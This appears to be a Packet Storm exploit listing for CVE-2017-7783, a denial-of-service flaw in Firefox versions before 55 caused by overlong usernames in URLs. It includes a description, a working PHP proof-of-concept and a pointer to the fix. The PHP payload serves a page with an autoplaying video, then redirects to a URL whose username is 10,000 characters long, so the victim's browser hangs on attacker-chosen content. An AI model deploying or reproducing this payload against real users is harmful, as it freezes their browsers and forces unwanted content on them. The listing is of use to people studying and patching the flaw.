Lucene search

K
packetstormAmit SangraPACKETSTORM:144687
HistoryOct 20, 2017 - 12:00 a.m.

Mozilla Firefox Username Denial Of Service

2017-10-2000:00:00
Amit Sangra
packetstormsecurity.com
19

0.035 Low

EPSS

Percentile

90.5%

`# Exploit Title: Mozilla Firefox < 55 - Forcibly make someone view a web content  
# Category: Denial of Service  
# Date: 5/11/17  
# CVE : CVE-2017-7783  
# Affected Version: < Mozilla Firefox 55  
# Tested on: Windows/Linux  
# Software Link: https://www.mozilla.org/en-US/firefox/52.0/releasenotes/  
# Exploit Author: Amit Sangra  
# Website: http://CyberCriminals.net  
  
# Description:  
  
If a long user name is used in a username/password combination in a site URL (such as http://UserName:[email protected]), the resulting modal prompt will hang in a non-responsive state or crash, causing a denial of service.  
  
# Impact:  
  
An attacker can create a webpage having some content and exploit.  
Now once a victim visits this webpage, his browser gets locked out and he is forcibly made to view attacker supplied content.  
  
# Exploit:  
  
<?php  
$exploit=str_repeat(chr(0x41),10000);  
$location="http://Username".$exploit.":[email protected]";  
echo "<center><h1>Firefox Lockout Vulnerability</h1>";  
//Content to be forcibly viewed  
echo "<iframe width=854 height=480 src=https://www.youtube.com/embed/QH2-TGUlwu4?autoplay=1 frameborder=0 allowfullscreen></iframe></center>";  
//End  
echo "<script>setTimeout(\"location.href ='".$location."';\",10000);</script>";  
?>  
  
# Solution:  
  
Update to version 55  
https://www.mozilla.org/en-US/firefox/55.0/releasenotes/  
  
# Mozilla Foundation Security Advisory:  
https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7783  
  
`